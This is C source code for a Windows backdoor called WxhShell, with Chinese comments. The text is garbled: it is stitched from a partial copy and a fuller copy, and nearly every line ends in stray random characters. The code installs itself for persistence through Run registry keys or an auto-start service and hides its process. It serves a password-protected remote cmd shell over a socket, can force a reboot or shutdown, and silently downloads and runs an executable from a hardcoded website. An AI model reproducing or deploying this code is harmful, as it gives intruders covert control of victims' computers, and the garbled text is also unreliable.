    } j/uMSE  
    break; e jk?If 07  
    } : LX!T&  
  // 关机 o%]b\Vl6  
  case 'd': { *yI( (G/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _%rkN0-(a  
    if(Boot(SHUTDOWN)) r H9}VA:h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T^|6{ S\  
    else { _pS)bx w  
    closesocket(wsh); gEVoY,}/-U  
    ExitThread(0); k~<ORnda  
    } L-|7 &  
    break; ;2BPEo>z9  
    }  /*S6/#  
  // 获取shell }FV_jJ  
  case 's': { P1TTaYu  
    CmdShell(wsh); 'zt}\ Dt  
    closesocket(wsh); ,0Udz0  
    ExitThread(0); +)( "!@  
    break; "$%&C%t  
  } 6 ;\>,  
  // 退出 y>UQm|o<W  
  case 'x': { /WAOpf5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `a7b,d  
    CloseIt(wsh); :Z;kMrU  
    break; "NSY=)fV  
    } \@6w;tyi  
  // 离开 B$97"$#u  
  case 'q': { !qs~j=;y3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G"yhu +  
    closesocket(wsh); :NwFJc  
    WSACleanup(); P]4u`&  
    exit(1); 14-uy.0[  
    break; @DR?^ qp  
        } It'PWqZtG  
  } OOus*ooo2  
  } !Cm9DzG  
.#e?[xxk  
  // 提示信息 &eg@Z nPn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8+_e=_3R  
} ` NvJ  
  } ''EFh&F  
^j_t{h)W(0  
  return; PTA_erU  
} vN)l3  
Kzfy0LWM  
// shell模块句柄  #|l#  
int CmdShell(SOCKET sock) -S $Y0FDV  
{ )Oj%3  
STARTUPINFO si; pEGHW;  
ZeroMemory(&si,sizeof(si)); ^zS|O]Tx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~ln96*)M;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P.t7_v>  
PROCESS_INFORMATION ProcessInfo; x5W@zqj  
char cmdline[]="cmd"; RjR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r<kqs,-~  
  return 0; ~rz%TDX0\  
} \%;5$ovV  
_vE[TFy  
// 自身启动模式 ~{yQsEU  
int StartFromService(void) "g;}B"rG  
{ za4:Jdr  
typedef struct V@ph.)z  
{ =G/`r!r*0I  
  DWORD ExitStatus; \]t }N  
  DWORD PebBaseAddress; n<7R6)j6  
  DWORD AffinityMask; QW@`4W0F  
  DWORD BasePriority; G?yG|5.pU  
  ULONG UniqueProcessId; 1FEY&rpR  
  ULONG InheritedFromUniqueProcessId; s\1c.  
}   PROCESS_BASIC_INFORMATION; ->YF</I  
a: OuDjFp  
PROCNTQSIP NtQueryInformationProcess; h IUO=f  
[E%Ov0OC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z 4`H<Pn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e#uF?v]O  
&f>1/"lnd\  
  HANDLE             hProcess; _/[(&}M  
  PROCESS_BASIC_INFORMATION pbi; w8AHs/'r  
F1zsGlObu}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e~BUAz  
  if(NULL == hInst ) return 0; OOX}S1lA  
Q pbzx/2h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Wp$'#HhB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3HmJixy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SE!0f&  
m&r?z%  
  if (!NtQueryInformationProcess) return 0; [mI;>q  
M)CE%/P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UzmD2A sO"  
  if(!hProcess) return 0; pSJc.j  
a<`s'N1G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k39;7J  
GSu&Z/Jo  
  CloseHandle(hProcess); s3l:ST  
1{X ;&y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zINziAp{  
if(hProcess==NULL) return 0; {B lM<  
G^Yg[*bJ^$  
HMODULE hMod; z@em1W0?Z  
char procName[255]; d_}q.%*  
unsigned long cbNeeded; >NN&j#;x~  
r$Ck:Q}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); < ekLL{/O'  
o@0p  
  CloseHandle(hProcess); VM[Vh k[  
rYMHc@a9(  
if(strstr(procName,"services")) return 1; // 以服务启动 +gOv5Eno-  
:CAbGs:56  
  return 0; // 注册表启动 ep2#a#&'  
} t<2B3&o1  
eE-@dU?  
// 主模块 GE[J`?E]  
int StartWxhshell(LPSTR lpCmdLine) #!X4\+)  
{ }EZd=_kAq~  
  SOCKET wsl; 9 nPc>O$  
BOOL val=TRUE; kMLWF  
  int port=0; \.<V~d?  
  struct sockaddr_in door; 564)ha/^(  
V<;w  
  if(wscfg.ws_autoins) Install(); 5 J9,/M0  
)9 QeVf  
port=atoi(lpCmdLine); k9<P]%  
]2P*Z6Az  
if(port<=0) port=wscfg.ws_port; Q7$K,7flf;  
"R/Xv+;  
  WSADATA data; n++L =&Wd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yqw#= fy  
^B|Q&1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B@W`AD1^{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @ukIt  
  door.sin_family = AF_INET; !h0#es\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tb-:9*2j-  
  door.sin_port = htons(port); 24 i00s|#  
A<VNttgG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { amn\#_(  
closesocket(wsl); *g<D p2`  
return 1; 2Y@:Vgg  
} gOA  
RMx$]wn_  
  if(listen(wsl,2) == INVALID_SOCKET) { jLs-v  
closesocket(wsl); ~)JNevLZ  
return 1; M6P`~emX2  
} SGREpOlJ+  
  Wxhshell(wsl); ?x(]U+  
  WSACleanup(); [l2ds:  
gz?]]-H  
return 0; 1 f;k)x  
E$'Zd,|f=  
} OA_Bz"  
5:ZM-kZT  
// 以NT服务方式启动 ']hB_ 4v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =hO0 @w  
{ HNRZ59Yyq  
DWORD   status = 0; X;I;CZ={  
  DWORD   specificError = 0xfffffff; *c+Kqz-  
F`$V H^%V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $=iV)-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <"g ^V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;oQ*gd  
  serviceStatus.dwWin32ExitCode     = 0; <d GGH  
  serviceStatus.dwServiceSpecificExitCode = 0; 1h.N &;vy  
  serviceStatus.dwCheckPoint       = 0; L)cy&"L|  
  serviceStatus.dwWaitHint       = 0; pUs s_3  
_^<HlfOK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pk*cc h#  
  if (hServiceStatusHandle==0) return; R)3P"sGuN  
^f -?xXPx  
status = GetLastError(); Q}N.DM@d3  
  if (status!=NO_ERROR) h98_6Dw(]  
{ $vC!Us{z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hDp -,ag{  
    serviceStatus.dwCheckPoint       = 0; .&AS-">Z  
    serviceStatus.dwWaitHint       = 0; ~L G).  
    serviceStatus.dwWin32ExitCode     = status; 8]N  
    serviceStatus.dwServiceSpecificExitCode = specificError; q89#Ftkt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ztNm,1pnQ  
    return; `43`*=  
  }  Sxrbhnx  
4,!S?:7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G H N  
  serviceStatus.dwCheckPoint       = 0; meHAa`  
  serviceStatus.dwWaitHint       = 0; aD aQ 7i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0B^0,d(s  
} CF`tNA3fxm  
ik@g;>pQD  
// 处理NT服务事件,比如:启动、停止 ;hz"`{(JY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <|_/i/H  
{ L {6y]t7^  
switch(fdwControl) z:hY{/-  
{ ZqHh$QBD 9  
case SERVICE_CONTROL_STOP: 'J (4arN  
  serviceStatus.dwWin32ExitCode = 0; jJc?/1jv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EROf%oaz=  
  serviceStatus.dwCheckPoint   = 0; 4}FuoQL  
  serviceStatus.dwWaitHint     = 0; NJG-~ w  
  { `c^ _5:euX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $d4^e&s  
  } uP\?y(= "  
  return; }b-"[TDEF  
case SERVICE_CONTROL_PAUSE: :xitV]1.   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $6~D 2K  
  break; b]v.jgD  
case SERVICE_CONTROL_CONTINUE: /lKgaq.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m L#-U)?F  
  break; !@9Vq6  
case SERVICE_CONTROL_INTERROGATE: d&: ABI  
  break; ~VZ)LQ'7  
}; p$XL|1G*?H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fKzOt<wm  
} G2]/g  
_ECWSfZ  
// 标准应用程序主函数 }yup`R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?*I2?   
{ PiMW 29B^  
PpPg ~ix*  
// 获取操作系统版本  )_P|_(  
OsIsNt=GetOsVer(); VC "66 \d&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eeX^zaKl]  
}(h_ztw  
  // 从命令行安装 {{c/:FTEU  
  if(strpbrk(lpCmdLine,"iI")) Install(); o +sb2:x  
fRp+-QvE  
  // 下载执行文件 g@!mV)c97  
if(wscfg.ws_downexe) { F6*n,[5(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yUF<qB  
  WinExec(wscfg.ws_filenam,SW_HIDE); -s`/5kD  
} -/:N&6eRb  
S}Wj+H;  
if(!OsIsNt) { C%LRb{|d  
// 如果时win9x,隐藏进程并且设置为注册表启动 gVM9*3LH6  
HideProc(); 0oI3Fb;E  
StartWxhshell(lpCmdLine); f>k<I[C<  
} Az29?|e  
else 5?+ECxPt  
  if(StartFromService()) '!*,JG5_  
  // 以服务方式启动 .lVC>UT  
  StartServiceCtrlDispatcher(DispatchTable); jM8e2z3  
else lwEJ)Bv  
  // 普通方式启动 99%oY  
  StartWxhshell(lpCmdLine); }5~|h%  
nUi 4!|r  
return 0; 5[.Dlpa'7  
} h }&WBN  
T8& kxp  
$Hcp.J[O  
fZK&h.  
=========================================== ezRhSN?  
 -1Acprr  
3n;UXYJ%  
w%jc' ;|  
.i[rd4MCK  
Ek|#P{!  
" Y4cIYUSc  
x8I=I"Sp  
#include <stdio.h> 4LqJ4jo  
#include <string.h> ?-CZJr  
#include <windows.h> { -*+G]  
#include <winsock2.h> (Zi(6 T\z  
#include <winsvc.h> SoZ$1$o2  
#include <urlmon.h> tz&'!n}  
h2g|D(u)  
#pragma comment (lib, "Ws2_32.lib") ">vxYi  
#pragma comment (lib, "urlmon.lib") !+tz<9BBY  
m\>531&  
#define MAX_USER   100 // 最大客户端连接数 j4j %r(  
#define BUF_SOCK   200 // sock buffer w5 nzS)B:u  
#define KEY_BUFF   255 // 输入 buffer MP/6AAt7=|  
T#'+w@Q9{9  
#define REBOOT     0   // 重启 J-t5kU;L{  
#define SHUTDOWN   1   // 关机 #9aB3C  
1&A@Zo5|  
#define DEF_PORT   5000 // 监听端口 aIV(&7KT4  
07WZ w1(;  
#define REG_LEN     16   // 注册表键长度 a+!#cQl  
#define SVC_LEN     80   // NT服务名长度 x/*ndH  
T|o[! @:,  
// 从dll定义API +b_g,RNs!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7=yC*]BH-=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @/i;/$\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qL kna  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UELni,$  
nQ4s  
// wxhshell配置信息 _" 0VM >  
struct WSCFG { M`!\$D  
  int ws_port;         // 监听端口 x&qC~F*QR%  
  char ws_passstr[REG_LEN]; // 口令 Jolr"F?  
  int ws_autoins;       // 安装标记, 1=yes 0=no E)liuu! qI  
  char ws_regname[REG_LEN]; // 注册表键名 ^:g8mt  
  char ws_svcname[REG_LEN]; // 服务名 tFLdBv!=:^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |_Vi8Ly  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zlC|Spaf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j0b?dKd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pC 5J '@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }HB)%C50.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8F|8zX&  
o:E+c_^q`  
}; $ 2'AY  
`$j"nP F_  
// default Wxhshell configuration u^H:z0  
struct WSCFG wscfg={DEF_PORT, b|F_]i T  
    "xuhuanlingzhe", \DsP '-t  
    1, .]+Z<5Fo  
    "Wxhshell", !yAg!V KY  
    "Wxhshell", 5 _X|U*+5  
            "WxhShell Service", Sc Uh -y_  
    "Wrsky Windows CmdShell Service", /Po't(-x  
    "Please Input Your Password: ", 2Cd#~  
  1, k fER  
  "http://www.wrsky.com/wxhshell.exe", ld58R  
  "Wxhshell.exe" f,GF3vu"  
    }; jUjgxP*7m  
t}LV[bj1u  
// 消息定义模块 2\h]*x% :  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~nk{\ rWO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .>z)6S_G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n"YY:Gm;8  
char *msg_ws_ext="\n\rExit."; 9-)D"ZhLe  
char *msg_ws_end="\n\rQuit."; ]k~k6#),;  
char *msg_ws_boot="\n\rReboot..."; GtcY){7  
char *msg_ws_poff="\n\rShutdown..."; VfAC&3 %M  
char *msg_ws_down="\n\rSave to ";  9?c0cwP?  
tRU+6D <w  
char *msg_ws_err="\n\rErr!"; _[|~(lDJl  
char *msg_ws_ok="\n\rOK!"; -V@vY42  
vZj:\geV  
char ExeFile[MAX_PATH]; 'PW~4f/m  
int nUser = 0; (S/f!Dk&3  
HANDLE handles[MAX_USER]; ,f0|eu>  
int OsIsNt; j'Ry.8}  
g.yr) LHt0  
SERVICE_STATUS       serviceStatus; K3jKOV8   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \6A-eWIQif  
+ v.I|c  
// 函数声明 M\5aJ:cQ+  
int Install(void); aw9/bp*N  
int Uninstall(void); yRt]i>  
int DownloadFile(char *sURL, SOCKET wsh); K=x>%6W7b  
int Boot(int flag); |^jl^oW  
void HideProc(void); l);M(<  
int GetOsVer(void); gMe)\5`\Y  
int Wxhshell(SOCKET wsl); {E *dDv  
void TalkWithClient(void *cs); ,Bh!|H(?L1  
int CmdShell(SOCKET sock); p!5oz2RK  
int StartFromService(void); 1eue.iuQ  
int StartWxhshell(LPSTR lpCmdLine); ' b41#/-  
rEwEdyK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5S4kn.3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L{y%\:]  
ETk4I "  
// 数据结构和表定义 ?+-uF }  
SERVICE_TABLE_ENTRY DispatchTable[] = nNNs3h(Ss  
{ <SeK3@Gi  
{wscfg.ws_svcname, NTServiceMain}, 5Vo8z8]t`  
{NULL, NULL} 8,\toT7  
}; hM~9p{O  
1} 1.5[4d  
// 自我安装 :o$k(X7a  
int Install(void) ,B|~V 3)(  
{ 7x8/Vz@\  
  char svExeFile[MAX_PATH]; oujg( ^E  
  HKEY key; Cf@~W)K  
  strcpy(svExeFile,ExeFile); Le#>uWM  
,CiN@T \&  
// 如果是win9x系统,修改注册表设为自启动 0 XV8 B  
if(!OsIsNt) { ?wzE+p-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~,[<R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ``*iK  
  RegCloseKey(key); S<do.{|p[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1<y(8C6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ne7HPSWiOP  
  RegCloseKey(key); =7{n 2  
  return 0; WGwpryaya  
    } ph*?y  
  } &h1.9AO  
} ]PWK^-4P  
else { )kLTyx2&  
W Z'UVUi8  
// 如果是NT以上系统,安装为系统服务 \\Ps*HN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #R2wt7vE  
if (schSCManager!=0) )+;Xfftz  
{ W"j&':xD  
  SC_HANDLE schService = CreateService JC| j*x(k/  
  ( (+SfDL$m  
  schSCManager, :x"Q[079  
  wscfg.ws_svcname, #{-l(016y  
  wscfg.ws_svcdisp, * E$&  
  SERVICE_ALL_ACCESS, 38<!Dt+S(,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xgsEJE  
  SERVICE_AUTO_START, X>}-UHKV+  
  SERVICE_ERROR_NORMAL, 9FB k|g"U)  
  svExeFile, +OSF0#bj  
  NULL, # .1+-^TQk  
  NULL, Zy !^HS$  
  NULL, (jj=CLe  
  NULL, sfb)iH|sW  
  NULL u-v/`F2wN  
  ); L1P.@hJ  
  if (schService!=0) n*twuB/P 1  
  { )1#J4  
  CloseServiceHandle(schService); -U&k%X   
  CloseServiceHandle(schSCManager); 5d ?\>dA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?K5S{qG'O  
  strcat(svExeFile,wscfg.ws_svcname); v6uXik  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Jz"Yb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Rr>nka)U  
  RegCloseKey(key); [PXv8K%]p  
  return 0; Uwj|To&QR  
    } Y!!w*G9b  
  } :SBB3G)|  
  CloseServiceHandle(schSCManager); h = <x%sie  
} ,x (?7ZW>  
} -^C^3pms  
C/34K(  
return 1; . W ~&d_n  
} Z=c&</9e  
),DLrGOl  
// 自我卸载 ~`Uil=  
int Uninstall(void) =;HC7TUM&  
{ Ql2zC9C  
  HKEY key; /6Bm <k%  
BqoGHg4iq  
if(!OsIsNt) { }:QQ{h_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B!J~ t8  
  RegDeleteValue(key,wscfg.ws_regname); b!lS=zIN  
  RegCloseKey(key); zDakl*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6*W7I- A  
  RegDeleteValue(key,wscfg.ws_regname); _k'?eZB  
  RegCloseKey(key); aK|],L  
  return 0; @Z}TF/Rx4  
  } ' ozu4y  
} _ tba:a(  
} %s&"gWi  
else { 0j\} @  
nF"NXYa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qcVmt1"  
if (schSCManager!=0) ;RR\ Hwix  
{ $p(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7XM:4whw  
  if (schService!=0) ;W~H|M  
  { luvxwved  
  if(DeleteService(schService)!=0) { "`6pF8k  
  CloseServiceHandle(schService); 3Gk\3iU!  
  CloseServiceHandle(schSCManager); Z'!Ii+'6  
  return 0; pB(|Y]3A  
  } =lb5 #  
  CloseServiceHandle(schService); |3]#SqX  
  } oy[>`qyz  
  CloseServiceHandle(schSCManager); 7)-uYi] dA  
} wZe>}1t  
} K;L6<a A#  
!c2<-3e  
return 1; x->H~/  
} $^K12Wcp-  
lVptA3F  
// 从指定url下载文件 xR~9|H9a  
int DownloadFile(char *sURL, SOCKET wsh) _keI0ML-#  
{ ^55q~DP}>  
  HRESULT hr; 9*Z!=Y#4,  
char seps[]= "/"; f%[0}.wp  
char *token; U;w| =vM  
char *file; Q8h0:Q  
char myURL[MAX_PATH]; q1Sr#h|  
char myFILE[MAX_PATH]; dy"7Wl]hi7  
->9waXRDz)  
strcpy(myURL,sURL); JHJIjYG>P  
  token=strtok(myURL,seps); r-e-2y7  
  while(token!=NULL) |s!<vvp]  
  { 16-1&WuY@  
    file=token; !n^7&Y[N;  
  token=strtok(NULL,seps); Y 8Dn&W  
  } nvInq2T 1  
,R$U(,>_0  
GetCurrentDirectory(MAX_PATH,myFILE);  =v!'?  
strcat(myFILE, "\\"); GeFu_7u!|  
strcat(myFILE, file); U-.A+#<IT9  
  send(wsh,myFILE,strlen(myFILE),0); N2uTWT>  
send(wsh,"...",3,0); |-Q="7b%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WF_24Mw  
  if(hr==S_OK) `p#u9M>  
return 0; Q=u [j|0mc  
else b O9PpOk+z  
return 1; O*lMIWx  
HO}eu  
} ]|8*l]oc  
Bk;/>gD  
// 系统电源模块 H tx)MEZ  
int Boot(int flag) 19]O;  
{ ` st^i$A  
  HANDLE hToken; %) /Bl.{}<  
  TOKEN_PRIVILEGES tkp; 70F(`;  
W<\*5oB%H  
  if(OsIsNt) { X,`^z,M%I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mV;)V8'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GhC%32F  
    tkp.PrivilegeCount = 1; LZ4Z]!V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _]Y9Eoz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vSv:!5*  
if(flag==REBOOT) { j"Z9}F@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '>Uip+'  
  return 0; Hdda/?{b  
} 9jJ:T$}  
else {  K)P].htw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F7&Oc)f"B  
  return 0; W61nJ7@  
} zwgO|Qg;  
  } ;\54(x}|K  
  else { z)fg>?AGr  
if(flag==REBOOT) { [&5%$ T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {(5M)|>  
  return 0; ;~"#aL50fe  
} jc7NYoT:  
else { l0BYv&tu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XQStlUw8+  
  return 0; t@cImmh\T  
} /g\m7m)u  
} t-Zk)*d/0  
&eFv~9  
return 1; *n*po.Xr  
} 5 8n(fdE  
!glGW[r/7  
// win9x进程隐藏模块 "vF7b|I  
void HideProc(void) @u1mC\G  
{ 8;fi1 "F;}  
1z-Q~m@@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IJ2>\bW_p  
  if ( hKernel != NULL ) %Hpz^<`  
  { W~?mr! `  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K {__rO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4>Y\Y$3  
    FreeLibrary(hKernel); Rf#t|MW*#  
  } ;|D8"D6]  
:rnj>U6<>  
return; s}Q*zy  
} 2 X`5YN;  
TIVrbO\!o  
// 获取操作系统版本 nA.~}  
int GetOsVer(void) %)}y[ (  
{ m<GJ1)%3i  
  OSVERSIONINFO winfo; ~IS3i'bh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;hkzL_' E)  
  GetVersionEx(&winfo); !3Ed0h]Bfa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KBa   
  return 1; +7$zL;ph=n  
  else e) kVS}e?  
  return 0; vFH1hm  
} (k<__W c_t  
(T8dh|  
// 客户端句柄模块 dL|*#e  
int Wxhshell(SOCKET wsl) N6uKFQL:{  
{ 4L/8Hj#g  
  SOCKET wsh; (E<QA  
  struct sockaddr_in client; k(R&`  
  DWORD myID; |YK4V(5x  
l^4!  
  while(nUser<MAX_USER) (nt=  
{ !~a1xI~s  
  int nSize=sizeof(client); {f[X)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O;SD90  
  if(wsh==INVALID_SOCKET) return 1; iNEE2BPp  
@WO>F G3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :'K%&e?7s  
if(handles[nUser]==0) $#HUxwx4  
  closesocket(wsh); Sj9NhtF]f  
else M|\C@,F]8  
  nUser++; hgI;^ia  
  } |C3~Q{A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {on+ ;,  
>o8N@`@VK-  
  return 0; 8\9s,W:5  
} c@)}zcw*  
N-<m/RS  
// 关闭 socket 3PRK.vf  
void CloseIt(SOCKET wsh) x L]Z3"p%  
{ I;3Uzv  
closesocket(wsh); [LrA_N  
nUser--;  &&sCaNb  
ExitThread(0); XZ1WY(  
} JB(P-Y#yyA  
WG(%Pkowv  
// 客户端请求句柄 u{(-`Al}L  
void TalkWithClient(void *cs) G&v. cF#Y'  
{ VQ'DNv| 9  
h$I 2T  
  SOCKET wsh=(SOCKET)cs; TI^M9;b  
  char pwd[SVC_LEN]; jjU("b=  
  char cmd[KEY_BUFF]; NiO|Aki{  
char chr[1]; )@\m0bnF  
int i,j; 4KT-U6zNx  
UWW_[dJr   
  while (nUser < MAX_USER) { hwB>@r2  
0Lki (  
if(wscfg.ws_passstr) { Wz-7oP%;I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B4ky%gF4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -40OS=wpA  
  //ZeroMemory(pwd,KEY_BUFF); -8D$[@y(  
      i=0; =3<@{^Eg  
  while(i<SVC_LEN) { N[8y+2SZ  
P4.snRQ  
  // 设置超时 O/bpm-h`8c  
  fd_set FdRead; ]Q*eCt;l"K  
  struct timeval TimeOut; h;`]rK;g  
  FD_ZERO(&FdRead); ZX03FJL7u  
  FD_SET(wsh,&FdRead); }5a$Ka-  
  TimeOut.tv_sec=8; u|uPvbM  
  TimeOut.tv_usec=0; `6 `oLu\l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >2@ a\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KvfZj  
N77EM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $][$ e  
  pwd=chr[0]; QP0[  
  if(chr[0]==0xd || chr[0]==0xa) { n 2m!a0;  
  pwd=0; +Rb0:r>kU  
  break; aIW W[xZ  
  } v#o<. Ig  
  i++; {fAj*,pzl  
    } fY{&W@#g  
'k9dN \ev  
  // 如果是非法用户,关闭 socket (b4;c=<[{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @gHWU>k,A  
} - |j4u#z  
TWk1`1|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2$%E:J+2:$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @N,I}_9-  
okv`v ({  
while(1) { sCw X|  
EABy<i  
  ZeroMemory(cmd,KEY_BUFF);  cnwpd%]o  
3^J~ts{*  
      // 自动支持客户端 telnet标准   kEpCF:@A  
  j=0; 9;k!dM  
  while(j<KEY_BUFF) { ^lCQHz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F^)SQ%xx  
  cmd[j]=chr[0]; )OgQ&,#  
  if(chr[0]==0xa || chr[0]==0xd) { D?< R5zp  
  cmd[j]=0; c DO<z  
  break; dLIZ)16&  
  } c<n <!!vi  
  j++; _aLml9f W  
    } k6PHyt`3'  
!mLD`62.  
  // 下载文件 =zXii{t  
  if(strstr(cmd,"http://")) { FsyM{LT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /vG)n9Rc  
  if(DownloadFile(cmd,wsh)) ~Q/G_^U:  
